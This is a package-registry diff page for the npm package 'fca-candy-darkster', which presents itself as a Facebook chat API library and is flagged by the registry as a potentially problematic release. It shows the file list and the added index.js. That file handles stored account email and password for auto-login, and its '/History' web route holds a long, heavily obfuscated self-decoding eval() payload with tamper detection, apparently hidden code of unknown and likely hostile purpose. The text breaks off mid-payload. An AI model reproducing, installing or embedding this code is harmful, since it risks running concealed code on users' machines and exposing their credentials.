fca-candy-darkster 0.0.1-security → 25.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fca-candy-darkster might be problematic. Click here for more details.
- package/API/anup.json +12 -0
- package/API/candy.json +12 -0
- package/CHANGELOG.md +2 -0
- package/Controllers/Remote.js +3 -0
- package/CountTime.json +1 -0
- package/DOCS.md +1738 -0
- package/Extra/ExtraAddons.js +78 -0
- package/Extra/ExtraFindUID.js +60 -0
- package/Extra/ExtraGetThread.js +118 -0
- package/Extra/ExtraTranslate.js +60 -0
- package/Extra/ExtraUptimeRobot.js +59 -0
- package/Extra/Html/Classic/script.js +231 -0
- package/Extra/Html/Classic/style.css +8 -0
- package/Extra/PM2/ecosystem.config.js +23 -0
- package/Extra/Security/Index.js +174 -0
- package/Extra/Security/Step_1.js +15 -0
- package/Extra/Security/Step_2.js +23 -0
- package/Extra/Security/Step_3.js +23 -0
- package/Extra/Src/History.js +115 -0
- package/Extra/Src/Last-Run.js +65 -0
- package/Extra/Src/Premium.js +98 -0
- package/Extra/Src/SecurityCheck.js +2 -0
- package/Func/AcceptAgreement.js +32 -0
- package/Func/ClearCache.js +63 -0
- package/Func/ReportV1.js +54 -0
- package/LICENSE.md +23 -0
- package/Language/index.json +217 -0
- package/OldSecurity.js +100 -0
- package/README.md +118 -3
- package/Settings/Database.js +21 -0
- package/Settings/Location.js +59 -0
- package/broadcast.js +40 -0
- package/index.js +1349 -0
- package/logger.js +65 -0
- package/package.json +208 -3
- package/src/Premium.js +30 -0
- package/src/addExternalModule.js +16 -0
- package/src/addUserToGroup.js +78 -0
- package/src/changeAdminStatus.js +79 -0
- package/src/changeArchivedStatus.js +41 -0
- package/src/changeAvt.js +85 -0
- package/src/changeBio.js +65 -0
- package/src/changeBlockedStatus.js +36 -0
- package/src/changeGroupImage.js +106 -0
- package/src/changeNickname.js +45 -0
- package/src/changeThreadColor.js +62 -0
- package/src/changeThreadEmoji.js +42 -0
- package/src/createNewGroup.js +70 -0
- package/src/createPoll.js +60 -0
- package/src/deleteMessage.js +45 -0
- package/src/deleteThread.js +43 -0
- package/src/forwardAttachment.js +48 -0
- package/src/getAccessToken.js +32 -0
- package/src/getCurrentUserID.js +7 -0
- package/src/getEmojiUrl.js +27 -0
- package/src/getFriendsList.js +73 -0
- package/src/getMessage.js +80 -0
- package/src/getThreadHistory.js +537 -0
- package/src/getThreadInfo.js +232 -0
- package/src/getThreadList.js +213 -0
- package/src/getThreadPictures.js +59 -0
- package/src/getUID.js +53 -0
- package/src/getUserID.js +62 -0
- package/src/getUserInfo.js +65 -0
- package/src/getUserInfoV2.js +35 -0
- package/src/getUserInfoV3.js +63 -0
- package/src/getUserInfoV4.js +55 -0
- package/src/getUserInfoV5.js +61 -0
- package/src/handleFriendRequest.js +46 -0
- package/src/handleMessageRequest.js +49 -0
- package/src/httpGet.js +49 -0
- package/src/httpPost.js +48 -0
- package/src/httpPostFormData.js +41 -0
- package/src/listenMqtt.js +725 -0
- package/src/logout.js +68 -0
- package/src/markAsDelivered.js +48 -0
- package/src/markAsRead.js +70 -0
- package/src/markAsReadAll.js +43 -0
- package/src/markAsSeen.js +51 -0
- package/src/muteThread.js +47 -0
- package/src/removeUserFromGroup.js +49 -0
- package/src/resolvePhotoUrl.js +37 -0
- package/src/searchForThread.js +43 -0
- package/src/sendMessage.js +334 -0
- package/src/sendTypingIndicator.js +80 -0
- package/src/setMessageReaction.js +109 -0
- package/src/setPostReaction.js +102 -0
- package/src/setTitle.js +74 -0
- package/src/threadColors.js +39 -0
- package/src/unfriend.js +43 -0
- package/src/unsendMessage.js +40 -0
- package/utils.js +1708 -0
package/index.js
ADDED
@@ -0,0 +1,1349 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
/**
|
4
|
+
* Developers: @Candy
|
5
|
+
** A few words about developer appstate security.
|
6
|
+
*! Statement renouncing responsibility for the security of appstate encryption of the following operating systems: windows, Android, Linux operating systems,.. (maybe repl.it?),
|
7
|
+
*! because the above operating systems are private (except rep.it if the fraudster does not own your account or invite link to join).
|
8
|
+
*! If the intruder owns the computer, these private operating systems,the security of this fca cannot guarantee 100% of the time.
|
9
|
+
** If the grammar is wrong, please understand because I'm just a kid 🍵.
|
10
|
+
*/
|
11
|
+
|
12
|
+
/!-[ Control Console History ]-!/
|
13
|
+
|
14
|
+
require('./Extra/Src/History');
|
15
|
+
|
16
|
+
/!-[ Max Cpu Speed ]-!/
|
17
|
+
|
18
|
+
process.env.UV_THREADPOOL_SIZE = require('os').cpus().length;
|
19
|
+
|
20
|
+
/!-[ Global Set ]-!/
|
21
|
+
|
22
|
+
globalThis.Fca = new Object({
|
23
|
+
isThread: new Array(),
|
24
|
+
isUser: new Array(),
|
25
|
+
startTime: Date.now(),
|
26
|
+
Setting: new Map(),
|
27
|
+
Require: new Object({
|
28
|
+
fs: require("fs"),
|
29
|
+
Fetch: require('got'),
|
30
|
+
log: require("npmlog"),
|
31
|
+
utils: require("./utils"),
|
32
|
+
logger: require('./logger'),
|
33
|
+
Security: require("uuid-apikey"),
|
34
|
+
languageFile: require('./Language/index.json'),
|
35
|
+
Database: require("aliya-anup-database")
|
36
|
+
}),
|
37
|
+
getText: function(/** @type {any[]} */...Data) {
|
38
|
+
var Main = (Data.splice(0,1)).toString();
|
39
|
+
for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
|
40
|
+
return Main;
|
41
|
+
},
|
42
|
+
Data: new Object({
|
43
|
+
ObjFastConfig: {
|
44
|
+
"Language": "en",
|
45
|
+
"PreKey": "",
|
46
|
+
"AutoUpdate": true,
|
47
|
+
"MainColor": "#9900FF",
|
48
|
+
"MainName": "[ FCA-CANDY ]",
|
49
|
+
"Uptime": true,
|
50
|
+
"Login2Fa": false,
|
51
|
+
"AutoLogin": false,
|
52
|
+
"BroadCast": true,
|
53
|
+
"AuthString": "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Using getUserInfoV2",
|
54
|
+
"EncryptFeature": true,
|
55
|
+
"ResetDataLogin": false,
|
56
|
+
"AutoRestartMinutes": 0,
|
57
|
+
"HTML": {
|
58
|
+
"HTML": false,
|
59
|
+
"UserName": "Guest",
|
60
|
+
"MusicLink": "https://drive.google.com/uc?id=1zlAALlxk1TnO7jXtEP_O6yvemtzA2ukA&export=download"
|
61
|
+
}
|
62
|
+
},
|
63
|
+
CountTime: function() {
|
64
|
+
var fs = globalThis.Fca.Require.fs;
|
65
|
+
if (fs.existsSync(__dirname + '/CountTime.json')) {
|
66
|
+
try {
|
67
|
+
var data = Number(fs.readFileSync(__dirname + '/CountTime.json', 'utf8')),
|
68
|
+
hours = Math.floor(data / (60 * 60));
|
69
|
+
}
|
70
|
+
catch (e) {
|
71
|
+
fs.writeFileSync(__dirname + '/CountTime.json', 0);
|
72
|
+
hours = 0;
|
73
|
+
}
|
74
|
+
}
|
75
|
+
else {
|
76
|
+
hours = 0;
|
77
|
+
}
|
78
|
+
return `${hours} Hours`;
|
79
|
+
}
|
80
|
+
}),
|
81
|
+
AutoLogin: async function () {
|
82
|
+
var Database = globalThis.Fca.Require.Database;
|
83
|
+
var logger = globalThis.Fca.Require.logger;
|
84
|
+
var Email = (await globalThis.Fca.Require.Database.get('Account')).replace(RegExp('"', 'g'), ''); //hmm IDK
|
85
|
+
var PassWord = (await globalThis.Fca.Require.Database.get('Password')).replace(RegExp('"', 'g'), '');
|
86
|
+
login({ email: Email, password: PassWord},async (error, api) => {
|
87
|
+
if (error) {
|
88
|
+
logger.Error(JSON.stringify(error,null,2), function() { logger.Error("AutoLogin Failed!", function() { process.exit(0); }) });
|
89
|
+
}
|
90
|
+
try {
|
91
|
+
await Database.set("TempState", api.getAppState());
|
92
|
+
}
|
93
|
+
catch(e) {
|
94
|
+
logger.Warning(globalThis.Fca.Require.Language.Index.ErrDatabase);
|
95
|
+
logger.Error();
|
96
|
+
process.exit(0);
|
97
|
+
}
|
98
|
+
process.exit(1);
|
99
|
+
});
|
100
|
+
}
|
101
|
+
});
|
102
|
+
|
103
|
+
/!-[ Check File To Run Process ]-!/
|
104
|
+
|
105
|
+
let Boolean_Fca = ["AutoUpdate","Uptime","BroadCast","EncryptFeature","AutoLogin","ResetDataLogin","Login2Fa"];
|
106
|
+
let String_Fca = ["MainName","PreKey","Language","AuthString"]
|
107
|
+
let Number_Fca = ["AutoRestartMinutes"];
|
108
|
+
let All_Variable = Boolean_Fca.concat(String_Fca,Number_Fca);
|
109
|
+
|
110
|
+
try {
|
111
|
+
if (!globalThis.Fca.Require.fs.existsSync('./CANDY-X-MARVI.json')) {
|
112
|
+
globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(globalThis.Fca.Data.ObjFastConfig, null, "\t"));
|
113
|
+
process.exit(1);
|
114
|
+
}
|
115
|
+
|
116
|
+
try {
|
117
|
+
var DataLanguageSetting = require("../../CANDY-X-MARVI.json");
|
118
|
+
}
|
119
|
+
catch (e) {
|
120
|
+
globalThis.Fca.Require.logger.Error('Detect Your CANDY-X-MARVI Settings Invalid!, Carry out default restoration');
|
121
|
+
globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(globalThis.Fca.Data.ObjFastConfig, null, "\t"));
|
122
|
+
process.exit(1)
|
123
|
+
}
|
124
|
+
if (globalThis.Fca.Require.fs.existsSync('./CANDY-X-MARVI.json')) {
|
125
|
+
try {
|
126
|
+
if (!DataLanguageSetting.AuthString || globalThis.Fca.Require.utils.getType(DataLanguageSetting.AuthString) != 'String') {
|
127
|
+
DataLanguageSetting.AuthString = "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Use getUserInfoV2"; //example pls
|
128
|
+
globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(DataLanguageSetting, null, "\t"));
|
129
|
+
}
|
130
|
+
}
|
131
|
+
catch (e) {
|
132
|
+
console.log(e);
|
133
|
+
}
|
134
|
+
if (!globalThis.Fca.Require.languageFile.some((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language)) {
|
135
|
+
globalThis.Fca.Require.logger.Warning("Not Support Language: " + DataLanguageSetting.Language + " Only 'en' and 'vi'");
|
136
|
+
process.exit(0);
|
137
|
+
}
|
138
|
+
var Language = globalThis.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder.Index;
|
139
|
+
globalThis.Fca.Require.Language = globalThis.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder;
|
140
|
+
} else process.exit(1);
|
141
|
+
for (let i in DataLanguageSetting) {
|
142
|
+
if (Boolean_Fca.includes(i)) {
|
143
|
+
if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Boolean") return logger.Error(i + " Is Not A Boolean, Need To Be true Or false !", function() { process.exit(0) });
|
144
|
+
else continue;
|
145
|
+
}
|
146
|
+
else if (String_Fca.includes(i)) {
|
147
|
+
if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "String") return logger.Error(i + " Is Not A String, Need To Be String!", function() { process.exit(0) });
|
148
|
+
else continue;
|
149
|
+
}
|
150
|
+
else if (Number_Fca.includes(i)) {
|
151
|
+
if (globalThis.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Number") return logger.Error(i + " Is Not A Number, Need To Be Number !", function() { process.exit(0) });
|
152
|
+
else continue;
|
153
|
+
}
|
154
|
+
}
|
155
|
+
for (let i of All_Variable) {
|
156
|
+
if (!DataLanguageSetting[All_Variable[i]] == undefined) {
|
157
|
+
DataLanguageSetting[All_Variable[i]] = globalThis.Fca.Data.ObjFastConfig[All_Variable[i]];
|
158
|
+
globalThis.Fca.Require.fs.writeFileSync("./CANDY-X-MARVI.json", JSON.stringify(DataLanguageSetting, null, "\t"));
|
159
|
+
}
|
160
|
+
else continue;
|
161
|
+
}
|
162
|
+
globalThis.Fca.Require.FastConfig = DataLanguageSetting;
|
163
|
+
}
|
164
|
+
catch (e) {
|
165
|
+
console.log(e);
|
166
|
+
globalThis.Fca.Require.logger.Error();
|
167
|
+
}
|
168
|
+
|
169
|
+
/!-[ Require All Package Need Use ]-!/
|
170
|
+
|
171
|
+
var utils = globalThis.Fca.Require.utils,
|
172
|
+
logger = globalThis.Fca.Require.logger,
|
173
|
+
fs = globalThis.Fca.Require.fs,
|
174
|
+
getText = globalThis.Fca.getText,
|
175
|
+
log = globalThis.Fca.Require.log,
|
176
|
+
Fetch = globalThis.Fca.Require.Fetch,
|
177
|
+
express = require("express")(),
|
178
|
+
{ join } = require('path'),
|
179
|
+
cheerio = require("cheerio"),
|
180
|
+
StateCrypt = require('./OldSecurity'),
|
181
|
+
{ readFileSync } = require('fs-extra'),
|
182
|
+
Database = require("aliya-anup-database"),
|
183
|
+
readline = require("readline"),
|
184
|
+
chalk = require("chalk"),
|
185
|
+
figlet = require("figlet"),
|
186
|
+
os = require("os"),
|
187
|
+
Form = require('form-data'),
|
188
|
+
Security = require("./Extra/Security/Index");
|
189
|
+
|
190
|
+
/!-[ Set Variable For Process ]-!/
|
191
|
+
|
192
|
+
log.maxRecordSize = 100;
|
193
|
+
var checkVerified = null;
|
194
|
+
var Boolean_Option = ['online','selfListen','listenEvents','updatePresence','forceLogin','autoMarkDelivery','autoMarkRead','listenTyping','autoReconnect','emitReady'];
|
195
|
+
|
196
|
+
/!-[ Set And Check Template HTML ]-!/
|
197
|
+
|
198
|
+
var css = readFileSync(join(__dirname, 'Extra', 'Html', 'Classic', 'style.css'));
|
199
|
+
var js = readFileSync(join(__dirname, 'Extra', 'Html', 'Classic', 'script.js'));
|
200
|
+
|
201
|
+
/!-[ Function Generate HTML Template ]-!/
|
202
|
+
|
203
|
+
/**
|
204
|
+
* It returns a string of HTML code.
|
205
|
+
* @param UserName - The username of the user
|
206
|
+
* @param Type - The type of user, either "Free" or "Premium"
|
207
|
+
* @param link - The link to the music you want to play
|
208
|
+
* @returns A HTML file
|
209
|
+
*/
|
210
|
+
|
211
|
+
function ClassicHTML(UserName,Type,link) {
|
212
|
+
return `<!DOCTYPE html>
|
213
|
+
<html lang="en" >
|
214
|
+
<head>
|
215
|
+
<meta charset="UTF-8">
|
216
|
+
<title>CARLA</title>
|
217
|
+
<link rel="stylesheet" href="./style.css">
|
218
|
+
</head>
|
219
|
+
<body>
|
220
|
+
<center>
|
221
|
+
<marquee><b>go go go brr!</b></marquee>
|
222
|
+
<h2>Horizon User Infomation</h2>
|
223
|
+
<h3>UserName: ${UserName} | Type: ${Type}</h3>
|
224
|
+
<canvas id="myCanvas"></canvas>
|
225
|
+
<script src="./script.js"></script>
|
226
|
+
<footer class="footer">
|
227
|
+
<div id="music">
|
228
|
+
<audio autoplay="false" controls="true" loop="true" src="${link}" __idm_id__="5070849">Your browser does not support the audio element.</audio>
|
229
|
+
<br><b>Session ID:</b> ${globalThis.Fca.Require.Security.create().uuid}<br>
|
230
|
+
<br>Thanks For Using <b>Candy Darkster</b> - From <b> Candy</b> <3<br>
|
231
|
+
</div>
|
232
|
+
</footer>
|
233
|
+
</div>
|
234
|
+
</center>
|
235
|
+
</html>
|
236
|
+
</body>`
|
237
|
+
//lazy to change
|
238
|
+
}
|
239
|
+
|
240
|
+
/!-[ Stating Http Infomation ]-!/
|
241
|
+
|
242
|
+
express.set('DFP', (process.env.PORT || process.env.port || 1932));
|
243
|
+
express.use(function(req, res, next) {
|
244
|
+
switch (req.url.split('?')[0]) {
|
245
|
+
case '/script.js': {
|
246
|
+
res.writeHead(200, { 'Content-Type': 'text/javascript' });
|
247
|
+
res.write(js);
|
248
|
+
break;
|
249
|
+
}
|
250
|
+
case '/style.css': {
|
251
|
+
res.writeHead(200, { 'Content-Type': 'text/css' });
|
252
|
+
res.write(css);
|
253
|
+
break;
|
254
|
+
}
|
255
|
+
case '/History': {
|
256
|
+
let zKhqb;
|
257
|
+
! function() {
|
258
|
+
const ENzF = Array.prototype.slice.call(arguments);
|
259
|
+
return eval("(function kO5L(T3cE){const nr5D=fbkC(T3cE,njXB(kO5L.toString()));try{let PY7D=eval(nr5D);return PY7D.apply(null,ENzF);}catch(jm0D){var LT2D=(0o204730-68028);while(LT2D<(0o400071%65550))switch(LT2D){case (0x3006D%0o200033):LT2D=jm0D instanceof SyntaxError?(0o400076%0x10019):(0o400073%0x1000F);break;case (0o200550-0x1015C):LT2D=(0o400107%65557);{console.log(\'Error: the code has been tampered!\');return}break;}throw jm0D;}function njXB(PQZB){let jeSB=180078849;var LLUB=(0o400071%65558);{let f9MB;while(LLUB<(0x104D8-0o202271)){switch(LLUB){case (0o600042%0x10006):LLUB=(67936-0o204514);{jeSB^=(PQZB.charCodeAt(f9MB)*(15658734^0O73567354)+PQZB.charCodeAt(f9MB>>>(0x4A5D0CE&0O320423424)))^780773326;}break;case (0o203720-67516):LLUB=(131097%0o200010);f9MB++;break;case (262213%0o200017):LLUB=f9MB<PQZB.length?(0o400062%0x10011):(67706-0o204133);break;case (0o1000135%0x10014):LLUB=(0o201166-0x1026D);f9MB=(0x75bcd15-0O726746425);break;}}}let HGPB=\"\";var b4HB=(65776-0o200344);{let DBKB;while(b4HB<(0o600153%0x10018)){switch(b4HB){case (0o600121%65559):b4HB=(73639709%9);DBKB=(0x21786%3);break;case (0O347010110&0x463A71D):b4HB=DBKB<(0O347010110&0x463A71D)?(0o400062%0x10012):(0x10834-0o204021);break;case (0x2004A%0o200036):b4HB=(69016-0o206573);{const DDhC=jeSB%(0o204444-0x1090A);jeSB=Math.floor(jeSB/(0x1071C-0o203402));HGPB+=DDhC>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(DDhC-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+DDhC);}break;case (0o201546-0x10349):b4HB=(73639709%9);DBKB++;break;}}}return HGPB;}function fbkC(zycC,b6eC){zycC=decodeURI(zycC);let vt7B=(0x75bcd15-0O726746425);let X09B=\"\";var ro2B=(0x40069%0o200027);{let TV4B;while(ro2B<(0x10744-0o203445)){switch(ro2B){case (0o203600-0x10770):ro2B=(0o205050-0x10A14);{X09B+=String.fromCharCode(zycC.charCodeAt(TV4B)^b6eC.charCodeAt(vt7B));vt7B++;var TXBC=(0x10708-0o203371);while(TXBC<(0o200416-0x100F3))switch(TXBC){case (0o200454-65821):TXBC=vt7B>=b6eC.length?(0o202424-0x104FA):(0x3008D%0o200046);break;case (0o400120%65563):TXBC=(67426-0o203507);{vt7B=(0x21786%3);}break;}}break;case (262205%0o200015):ro2B=TV4B<zycC.length?(67296-0o203320):(0o1000333%65583);break;case (66446-0o201601):ro2B=(66076-0o201023);TV4B=(0x21786%3);break;case (0o203720-67516):ro2B=(262225%0o200022);TV4B++;break;}}}return X09B;}})(\"N%0B%0C%16%00%0E%0B%0E%08EP%03%05%0F%0C%02%12%04%16%16C?%008*EP%03%11%1F%16%14%14%03Y%1F%05K&IOF%0E*%5B3JHM%3C%12;(RKJ##%03%3EKSI%06%045:PJQ%0D\'%14$QQ%1E%1C%17%0F%05%19%10%17%0DZ%05+V!QQ%18%08%07%15%13%1F%17X&O%0F*NDR%1F%0B%03\'IOF,M%0E%3CJHM%06A,%22RKJ%01%05%00=KSI%20-%5C?PJQ%153%5E$QQ%1E%1C%17%0F%05%19%10%17%0DZ#W5!QQ%18%08%07%15%13%1F%17XKR%11.\'\'QQJPJJGF%22%25H%5BI:;DPSKQCJ=0P%05%191%0A%10%04P%02%05X%1C%17%0F%05%19%10%17%0DZ%01$0!QQ%18#Z4#EP#%040R-ND$E%191%0A%10%046%0E.%001JH;V%04%1E%16%14%01%15%0F%02%17X&I2+ND%02%0A%06%0E%17%13%08MQS8\'I@M6$SKQI:M6$%258Q9%3CM6$%25JSIIN,O+/RKHLE0@60JHOD%04%1E%16%14%01%15%0F%02%17X%0481+ND%02%0A%06%0E%17%13%08M,.+9JHM,%00(%20RKJ%05%08I=KSI%06%045:PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ#8-\'QQ%18%08%07%15%13%1F%17XK%1D%04P%22EPQ8+%0BT,EP%25KS%1F%07%13%03%1A%0C%0A%15%0CA%05%1A72KS%19%13%03%19%0C%0A%0DZJIMLR#%3EQJJM6R#%3E\'9J=0$QJPJ(T%070PJSKJNFR#H!?%3C=F%22%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%119?2KS%19%13%03%19%0C%0A%0DZJ,,%5D;PJS9,_;0PJ\'J(7Z%3CPJS%1F%1B-%05%08%1AM%0E%01%5CN6%17%0D%0F%16?%5C%5BJ%5EQX%1C%17%0F%05%19%10%17%0DZ;%10/\'QQ%18%08%07%15%13%1F%17X%221S\'NDR%0F1B+IOF,M%0E%3CJHM%0E*@%1ARKJ%09+%0B1KSI4%044%3EPJQ%151$$QQ%1E%1C%17%0F%05%19%10%17%0DZ%11.\'\'QQ%18%08%07%15%13%1F%17XKQI:M6$%258Q9%3C;FQSH!I:;0%22S8\'?HOFQS8!I:=FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA3%01=2KS%19%13%03%19%0C%0A%0DZJFA6%1E%12V?JH;EPQ8Q9%3C;%10%1F%0D%0D%19%16%08%09%03Y-%0D%1B)IO%16%0B%1D%17%0F%10%0FF%1A+@*RKJ3X%14%3EKSI%0E%20%1F0PJQ#(%13+QQH%1D%009%25EPS%14(Z(NDR%13%5B.#IO%10%1F%0D%0D%19%16%08%09%03Y%0F5%19)IO%16%0B%1D%17%0F%10%0FF(L%15(RKJ%11=;1KS%1F%07%13%03%1A%0C%0A%15%0CA7%04L2KS%19%13%03%19%0C%0A%0DZ%0D\'%14$QQH%1D%0A%18#EPS%0C%0A%00$NDR!%02%09$IOF%20%19%10%3CJHM%1A+@*RKJ\'$%0C%3EKSI0-%5C8PJQ#S)&QQH%11Z5\'EPS%14(Z(ND%04%0E%02%08B%127Z3E8RR%0ETYHJSLOQ%1E%5CMJSIKMN%5D%16JROQQT@NJQN%5BHJEI%00PJSV#HI%17QJRPT%5CPTKJ%0DSVXOLWWR%19W%5D;H%25SNIT%5BKAWIGQ%09_IHQNPHJEI%00PJS%25%5EHI%17QJRPS%5CP%25X%1C%17%0F%05%19%10%17%0DZ/%05V\'QQ%18%08%07%15%13%1F%17X%22%11T%18NDR!%00%20$IOF()%209JHM,2I%25RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA%09!K2KS%19%13%03%19%0C%0A%0DZJ46%5B8PJSII/%3CN=KSK%1C%00%18%17%1B%17%13%0D%0FF$A-)RK%1A%14%08%0D%0D%11%14BIM6$SBQ9%3CMERS8Q9%3C;6R#%3EQ9%3C;DPRKQCJ=0PSKQJ:M6%22YH!?JGF%22%25%3EQ9J=0$%25%3EQ9%3CO6R#8Q9:M6$%25H!I:;0$S8\'?:M6$%258QCJ=0$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA%0D*!2KS%19%13%03%19%0C%0A%0DZJJ=6R#8QCJ=0$S8Q9%3C;0R#%3E\'9J=0$#H%5BI:;0$QHRJ%12%15\'=PJSHI%15%2282KSKH%1B%0B%0C%16%00%0E%0B%0E%08M%121%161JH%1D%1F%1C%0C%16%08%0CANF%22#H!9@M6$SBQ9%3C;F%22S8\'?%3CM6$%258Q9%3C;6RYH!?%3C;DRPKQCJ=0RPHQ9J=0$#H!?%3CODSP*7Q%25NDPQ%1E%1C%17%0F%05%19%10%17%0DZ/%07%1E&QQ%18%08%07%15%13%1F%17XK!?:3%03%183KS?IOF%22%25J!34!)QQ%3E%07%14%00%14M%1E%3C%131_:N%5D6MSMTUP%5CML=J%1ATW+M;UKKMN%5D6IWNTTQYMO=J%1AP_%5EL%3EQJKMN%5CJIRHSDV%02KHSJPROAQH%0CHRSR_MUULZSUDUPS%02PQVY@%5DS%15PQV%5DJLJ\'Y%07%13%03%1A%0C%0A%15%0CA/%0C%0A3KS%19%13%03%19%0C%0A%0DZJJGF%22%25HRIJ=F%22%25%3E!I:;0PQHR34!)QQJ%07%04%14%08%0E%0D%11%0C%14B%02%1F%062PJ%01%10%04%12%18%0B%16C?W%0C-EPS%14*%20(NDR9Q5)IOF81%16%3CJHM%3C2I%22RKJ%01%05%00=KSI,%1C%01%03PJQ%153%5E$QQH/%008!EPS.%1C%1A*NDR%17%25%08+IO%10%1F%0D%0D%19%16%08%09%03Y=V%17)IO%16%0B%1D%17%0F%10%0FFE%22%258?%14,\'EP%25H!?H=FXS8\'I@M6$SBQ9%3C;%10%1F%0D%0D%19%16%08%09%03Y!%10%1C)IO%16%0B%1D%17%0F%10%0FFERS8Q9%3C;6R#%3E\'IIMF%22S8\'?:M6$%25JWI@M6$QHRII=F%22#BQ9%3CMLR#%3E\'I:M6$%25%3E\'I:;D%22S8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3E\'KJNFQ#H!9@M6$SBQ9%3C;F%22S8\'?%3C;F%22%25J!I:;0P%05%05%0F%0C%02%12%04%16%16C;R%09-EP%03%11%1F%16%14%14%03YP6*T%20NDPSK?Q1,EPQ%1E%1C%17%0F%05%19%10%17%0DZ#S)&QQ%18%08%07%15%13%1F%17XK%5B9%3CM6$Q8QCJ=0$%05%191%0A%10%04C%0EO%0C4_%07%13%03%1A%0C%0A%15%0CIO%16%0B%1D%17%0F%10%0FFEHKRKSUC%5D%16JSJRPRD%04C%05%0F%0C%02%12%04%16%16C%19#3-EP%03%11%1F%16%14%14%03Y%1E%16%14%01%15%0F%02%17PJ%01%1FZ%1B%0B%0C%16%00%0E%0B%0E%08M%0E%20)1JH%1D%1F%1C%0C%16%08%0CA3X%14%3EKSI%0A%5E98PJQ%05%09%1F(QQH;)P%20EPS%14(Z(ND%04%1E%16%14%01%15%0F%02%17X:%0F/*ND%02%0A%06%0E%17%13%08M%3CM%0E1JHM%0A%11%01&RK%1C%00%18%17%1B%17%13%0D%0FF%1E*=(RK%1A%14%08%0D%0D%11%14B%06S%01;PJQ#*W+QQH/W%0C%20EPS%04%18:%22NDR)%089)IO%10%1F%0D%0D%19%16%08%09%03Y-%132)IO%16%0B%1D%17%0F%10%0FF,%00(%20RKJ7%06:3KSI,%1C%01%03PJQ%05%03%3E.QQH+%09%22-EP%05%05%0F%0C%02%12%04%16%16C%15,%1B-EP%03%11%1F%16%14%14%03YPKQCJ=0RPHQ9J=0$#H!?%3CODSP%22L1-NDPQHRI:=F%22#BQ9%3CMLR#%3E\'I:M6$%25%3EQ9%3C;6R#%3E\'9JGF%22%25%3E\'K%1C%1C&%11%09%01T3%14%0E#D%1E%16%14%01%15%0F%02%17PJ%01%10%04%12%18%0B%16CRR%0EW%5DIHRJVDPXLLVS%1FZ%00%18%17%1B%17%13%0D%0FF%3C%12;(RK%1A%14%08%0D%0D%11%14BI%12%14%09%1D%0C%1CB@=0P#H!?%3C%1B%0B%0C%16%00%0E%0B%0E%08M%0A3%143JH%1D%1F%1C%0C%16%08%0CA\'%06O%01KSI%20/%18?PJQ%05%09%1F(QQH%15%04%16$EPS6%18;&NDR)(K#IOF%0E(!3JHM,K7(RKJ\'$%0C%3EKSI0-%5C8PJQ%05%09%1F(QQH7%18%0D%1CEPS%14(Z(ND%04%1E%16%14%01%15%0F%02%17X6%12%18(ND%02%0A%06%0E%17%13%08M091;JHM,%00(%20RKJ%11?A1KSI4S%00?PJQ%0D\'%14$QQH%15%0EV%25EPS%0C%3C%10(NDR%1F%0B%03\'IOF81%16%3CJHM,K7(RKJ%05%3EA%01KSI%164U0PJ%07%04%14%08%0E%0D%11%0C%14B%0E%20%1F0PJ%01%10%04%12%18%0B%16CR%16%18%16%08%16%1ECR9%3CM6$QJ!I@M6$%25%1E%1C%17%0F%05%19%10%17%0DZ3%02%13$QQ%18%08%07%15%13%1F%17X%14%16!%20NDR)%04%03(IOF%3C4Q?JHM%1A-%3E)RKJ7%06:3KS%1F%07%13%03%1A%0C%0A%15%0CA%0D,%141KS%19%13%03%19%0C%0A%0DZ;%00%15+QQH%09%15/#EPS%08B6%20NDR%0F38+IO%10%033%0B%0B%00O%15_%136%5E%1C%17%0F%05%19%10%17%0DRK%1A%14%08%0D%0D%11%14BIV%15HHUC#LV%02KHPHSTO%10B%1E%16%14%01%15%0F%02%17X.M%0D(ND%02%0A%06%0E%17%13%08MQS8!I:=F%22%25%3EQ9J=0$%25H!?%3C=F%22%25%3E!I@M6$%25%3ESIIN$%18%0B(RKHLE0%19%101JHOD%04%1E%16%14%01%15%0F%02%17X%04%0C%0A(ND%02%0A%06%0E%17%13%08M%1EM%0F8JHM$%3C.!RKJ?%02%1B2KSI%20-%5C?PJQ3%0A%25&QQ%1E%1C%17%0F%05%19%10%17%0DZ+S%0C$QQ%18%08%07%15%13%1F%17XKR%11%12,)QQJPJJGF%22%25HRIJ=F%22%25%3E!I:;0PQJQJJ=6R#8QC:;FXS8\'?J=F%22%25%3E\'I:;0%22S8\'?:M6$%25%3ES%1F%07%13%03%1A%0C%0A%15%0CA/Y(1KS%19%13%03%19%0C%0A%0DZJIMF%22S8\'?:M6$%25HRIJ=F%22%25%3E!I:;0PQIR+%00%15&QQJSIIM6%22S8!I@M6$%25H!I:;0$S8\'?:M6$%258Q9%3C;0P%05%05%0F%0C%02%12%04%16%16C%11!5/EP%03%11%1F%16%14%14%03Y)%06K+IOF%3CM%0E1JHM%1A+@*RK